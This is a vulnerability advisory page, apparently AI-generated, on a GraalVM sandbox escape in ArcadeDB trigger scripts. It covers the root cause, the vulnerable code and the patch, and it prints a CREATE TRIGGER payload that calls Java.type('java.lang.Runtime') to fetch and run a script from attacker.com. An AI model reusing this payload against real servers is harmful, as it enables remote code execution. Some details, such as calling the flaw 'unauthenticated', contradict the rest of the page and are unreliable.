CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-X9F9-R4M8-9XC2

GHSA-x9f9-r4m8-9xc2: Remote Code Execution via GraalVM Polyglot Sandbox Bypass in ArcadeDB Trigger Scripts

Alon Barad
Alon Barad
Software Engineer

Jul 17, 2026·6 min read·16 visits

Executive Summary (TL;DR)

An input validation and sandbox configuration vulnerability in ArcadeDB's script execution engine allows authenticated database users with schema modification privileges to execute arbitrary operating system commands by bypassing the GraalVM polyglot container using direct Java host class reflection.

ArcadeDB is an open-source, multi-model database engine supporting graph, document, key-value, and vector models. In affected versions of ArcadeDB, the trigger script executor improperly configures GraalVM scripting engine permissions. By allowing the 'java.lang.*' package to be loaded within the scripting context, the sandbox environment can be bypassed. An authenticated user with schema administration privileges ('UPDATE_SCHEMA') can register a malicious script trigger that executes arbitrary Java host classes, leading to unauthenticated remote command execution under the context of the ArcadeDB server process.

Vulnerability Overview

ArcadeDB implements an extensive trigger subsystem that allows users to execute custom scripting logic (e.g., JavaScript or GraalVM languages) in response to database lifecycle events such as record creation, modification, or deletion. This capabilities framework is managed by the ScriptTriggerExecutor component within the arcadedb-engine module.

To prevent untrusted scripts from compromising the underlying system, database engines rely on polyglot sandboxes to restrict guest language access to the host Java Virtual Machine (JVM). When a database exposes script execution pathways, the boundary between the guest script and host execution environment must be tightly managed. If the sandbox configuration is permissive, the guest environment can escape its boundary and invoke host OS operations.

This vulnerability arises from a permissive package import configuration within the GraalVM scripting engine wrapper in ArcadeDB. It allows administrative-level database users who hold the schema-level privilege UPDATE_SCHEMA to escape the sandbox restriction and execute arbitrary system commands, resulting in full compromise of the hosting environment.

Root Cause Analysis

The fundamental flaw resides within the GraalVM context configuration in ScriptTriggerExecutor.java around line 56. The component instantiates a GraalVM Context to compile and execute trigger script strings. However, the context configuration is initialized with highly permissive class loading rules.

Specifically, the allowedPackages configuration includes the java.lang.*, java.util.*, java.time.*, and java.math.* namespaces. GraalVM's interop utilities allow guest languages to look up host Java classes via the helper function Java.type(). By placing java.lang.* in the package allowlist, guest scripts are granted access to core runtime Java classes, including java.lang.Runtime and java.lang.ProcessBuilder.

Furthermore, the configuration relied on the GraalVM sandbox setting allowCreateProcess(false) under the assumption that it would block process creation. However, this parameter only restricts guest-native process management APIs. It does not inspect or block direct host-level reflection calls when the host class lookup is explicitly permitted by package allowlists and the context is configured with standard reflection permissions (HostAccess.ALL). Consequently, the API-level sandbox defense fails, enabling direct access to the JVM's host environment.

Control Flow and Code Analysis

The vulnerability sequence proceeds from trigger registration to command execution. The diagram below illustrates how an attacker utilizes the UPDATE_SCHEMA privilege to register a trigger, which subsequently bypasses the GraalVM sandbox during database mutation events:

Before patching, the vulnerability was present in the initialization logic of ScriptTriggerExecutor.java where the GraalVM context builder did not restrict access to host classes:

// VULNERABLE CODE PATH (ScriptTriggerExecutor.java)
Context context = Context.newBuilder("js")
    .allowHostAccess(HostAccess.ALL) // Allows access to all host methods
    .allowHostClassLookup(className -> {
        // Deficient logic permits java.lang.* packages
        return allowedPackages.stream().anyMatch(p -> className.startsWith(p));
    })
    .allowCreateProcess(false) // Only restricts guest process API, not reflection
    .build();

The corresponding authorization check in LocalSchema.java also allowed users with only schema-modification rights to deploy dangerous scripts:

// VULNERABLE PRIVILEGE CHECK (LocalSchema.java)
public void createTrigger(final String className, final String triggerName) {
    // Gated solely behind UPDATE_SCHEMA
    database.getSecurity().checkPermissions(SecurityDatabaseUser.RESOURCE_DATABASE.SCHEMA, SecurityDatabaseUser.AN_UPDATE);
    // Trigger registration logic...
}

In the patched release (version 26.7.2), the developers addressed this vulnerability by removing java.lang.* from the exposed package list, changing HostAccess.ALL to HostAccess.EXPLICIT, and gating trigger registration behind the highly restricted UPDATE_SECURITY permission.

Exploitation Methodology

An attacker must possess credentials targeting the ArcadeDB server that are assigned the UPDATE_SCHEMA privilege tier. This level of access is typically granted to database schema designers or application administrators who do not possess full system database administration (superuser) or security administration rights.

First, the attacker establishes a connection to the database's HTTP, SQL, or Cypher query endpoint and defines a javascript-based trigger using the CREATE TRIGGER query syntax. The trigger payload loads the JVM java.lang.Runtime class using GraalVM's Java.type interface:

CREATE TRIGGER malicious_trigger ON <target_class> AFTER INSERT EXECUTE JAVASCRIPT '
    var RuntimeClass = Java.type("java.lang.Runtime");
    var runtimeInstance = RuntimeClass.getRuntime();
    runtimeInstance.exec("curl http://attacker.com/payload.sh -o /tmp/payload.sh");
    runtimeInstance.exec("bash /tmp/payload.sh");
'

Following registration, the attacker initiates the trigger by performing a standard record insertion into the target class. When the operation completes, ScriptTriggerExecutor compiles and runs the javascript payload. Because the package checks pass, the GraalVM context fetches the actual host JVM Runtime object, spawning the shell command on the host OS with the permissions of the ArcadeDB application process.

Impact Assessment & Related Security Audits

A successful exploit results in Remote Code Execution (RCE) on the database host. Because database servers frequently run with elevated administrative privileges, an attacker can access sensitive configuration files, modify internal database contents, extract database credentials, or move laterally within the deployment environment.

In addition to the scripting trigger vulnerability, the 26.7.2 release addresses several other vulnerabilities identified during a security audit. These security updates resolve a Server-Side Request Forgery (SSRF) flaw in database imports (SourceDiscovery.java), a failure to enforce authorization checks in backup/export endpoints (BackupDatabaseStatement.java), an HTTP body size validation bypass in chunked transfer decoding causing potential Denial of Service (DoS), and the absence of a brute-force prevention lockout mechanism for user authentication.

The aggregate risk profile of unpatched ArcadeDB servers is elevated due to these overlapping vectors. An attacker with minimal initial database access can utilize this exploit chain to pivot from low-privilege database administrative access to complete control of the host operating system.

Remediation and Patch Analysis

To remediate this vulnerability, system administrators must upgrade the arcadedb-engine dependency and database servers to version 26.7.2 or later. The update introduces significant architectural security hardening:

  1. Explicit Host Access Mapping: The engine now enforces HostAccess.EXPLICIT, requiring methods to be annotated with @HostAccess.Export before they are accessible to guest environments.

  2. Restrictive Package Filtering: The engine explicitly blocks the loading of namespaces related to process execution, class reflection, and arbitrary system calls (removing java.lang.* completely from allowed context structures).

  3. Privilege Gating Escalation: The authorization layer for registering triggers has been moved from the UPDATE_SCHEMA privilege to the UPDATE_SECURITY privilege, ensuring only full security administrators can upload script files.

If upgrading immediately is not feasible, administrators should disable script-based trigger capabilities entirely in the server's database configuration files or restrict the UPDATE_SCHEMA permission to only highly trusted administrative accounts.

Official Patches

ArcadeDataArcadeDB release 26.7.2 tag containing patches for the trigger execution vulnerability and security audit findings.

Technical Appendix

CVSS Score
8.4/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.05%
Top 89% most exploited

Affected Systems

ArcadeDB Servercom.arcadedb:arcadedb-engine (Maven package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
arcadedb-engine
ArcadeData
>= 21.9.1, < 26.7.226.7.2
AttributeDetail
CWE IDCWE-94 (Improper Control of Generation of Code)
Attack VectorNetwork (AV:N)
CVSS v4.0 Score8.4 (High)
Exploit StatusProof-of-Concept
KEV StatusNot Listed
Affected ComponentScriptTriggerExecutor.java
Prerequisite PrivilegesUPDATE_SCHEMA (High)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.002Command and Scripting Interpreter: AppleScript / JavaScript
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs code using externally-influenced input, allowing an attacker to execute arbitrary code within the context of the application.

Known Exploits & Detection

GitHubThe advisory details the syntax for creating the exploit trigger bypassing the GraalVM scripting sandbox using Java.type reflection statements.

Vulnerability Timeline

Vulnerability discovered, patched, and release version 26.7.2 published
2026-07-16
GitHub Security Advisory GHSA-x9f9-r4m8-9xc2 published
2026-07-16

References & Sources

  • [1]ArcadeDB Trigger Scripts Run with java.lang.* Allowed, Enabling Remote Code Execution
  • [2]ArcadeDB GitHub Code Repository
  • [3]ArcadeDB Release 26.7.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
7 views•5 min read
•about 6 hours ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 8 hours ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
9 views•6 min read
•about 9 hours ago•CVE-2026-70183
7.5

CVE-2026-70183: Elevation of Privilege in ASP.NET Core and Visual Studio via Concurrent Race Condition

An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.

Alon Barad
Alon Barad
7 views•5 min read
•3 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
15 views•5 min read